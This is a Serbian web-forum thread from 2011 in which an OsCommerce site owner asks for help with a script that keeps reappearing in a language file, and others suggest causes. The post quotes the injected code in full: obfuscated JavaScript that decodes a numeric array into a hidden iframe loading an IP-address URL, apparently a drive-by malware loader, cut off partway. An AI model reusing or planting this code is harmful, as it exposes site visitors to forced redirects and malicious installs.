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Pomoć u vezi napada na sajt - tumacenje skripte

[es] :: Javascript i AJAX :: Pomoć u vezi napada na sajt - tumacenje skripte

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stvt
bgd

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*.adsl-4.sezampro.rs.



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icon Pomoć u vezi napada na sajt - tumacenje skripte13.03.2011. u 16:46 - pre 159 meseci
Stalno mi neko napada sajt (OsCommerce) , naime u lang fajlu se na dnu pojavi dole navedena skripta. Kad se to desi ja je izbacim, izmenjam sve lozinke za pristup ali ona se sutradan opet pojavi. Sve sam chmodovao na 644. Kako da resim problem?

Code:
<script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var ucyq=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var vpm=r[i].cssRules||r[i].rules;for(var lqf=0;lqf<vpm.length;lqf++){var gl=vpm.item?vpm.item(lqf):vpm[lqf];if(!gl.selectorText.match(/#va/))continue;qq=(gl.cssText)?gl.cssText:gl.style.cssText;ucyq=qq.match(/(S[^")]+)/)[1];zio=gl.selectorText.substr(1);};}catch(e){};}oe=new Date(2010,11,3,2,21,4);t=oe.getSeconds();var vo=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,228/t,208/t,184/t,216/t,204/t,184/t,200/t,208/t,208/t,184/t,212/t,220/t,188/t,476/t,204/t,396/t,188/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,228/t,208/t,184/t,216/t,204/t,184/t,200/t,208/t,208/t,184/t,212/t,220/t,188/t,476/t,204/t,396/t,188/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,1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Milan Kragujevic
Software Engineer

Član broj: 231903
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*.dynamic.isp.telekom.rs.

Sajt: https://milankragujevic.c..


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icon Re: Pomoć u vezi napada na sajt - tumacenje skripte13.03.2011. u 17:01 - pre 159 meseci
Jel si siguran da taj kod ne bi trebao da stoji tu?
 
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stvt
bgd

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icon Re: Pomoć u vezi napada na sajt - tumacenje skripte13.03.2011. u 17:18 - pre 159 meseci
Siguran sam 100 posto. Imam nekoliko OsCommerce sajtova koje odrzavam pa sam proverio. Ova skripta sad preusmerava na neki video sadrzaj i otvara windows mwdia player i trazi neki plug in da se instalira.

Juce je bila skripta koja preusmerava na yahoo.

A prekjuce mi je izbrisala sve "?>" tagove u index fajlu i jos nekim pa mi sve izlazili errori kad pokusam da ucitam stranicu.
 
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Milan Kragujevic
Software Engineer

Član broj: 231903
Poruke: 2220
*.dynamic.isp.telekom.rs.

Sajt: https://milankragujevic.c..


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icon Re: Pomoć u vezi napada na sajt - tumacenje skripte13.03.2011. u 18:08 - pre 159 meseci
Citat:
stvt:

A prekjuce mi je izbrisala sve "?>" tagove u index fajlu i jos nekim pa mi sve izlazili errori kad pokusam da ucitam stranicu.

JavaScript je client-side jezik, što znači da ne može da dira PHP
 
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sojic
Dalibor Sojic
Makedonija

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46.217.46.*

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icon Re: Pomoć u vezi napada na sajt - tumacenje skripte17.03.2011. u 14:45 - pre 159 meseci
Dali ti je sajt na Shared hosting?

Ako je na windows hostingu, moguce da je server zarazen.

Mozda imas virus/trojan koji salje saved passwords tamo negde.

Pregledaj log fajlove, da neko nije koristio XSS napad?
routing protocols enable routers to route routed protocols!
 
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[es] :: Javascript i AJAX :: Pomoć u vezi napada na sajt - tumacenje skripte

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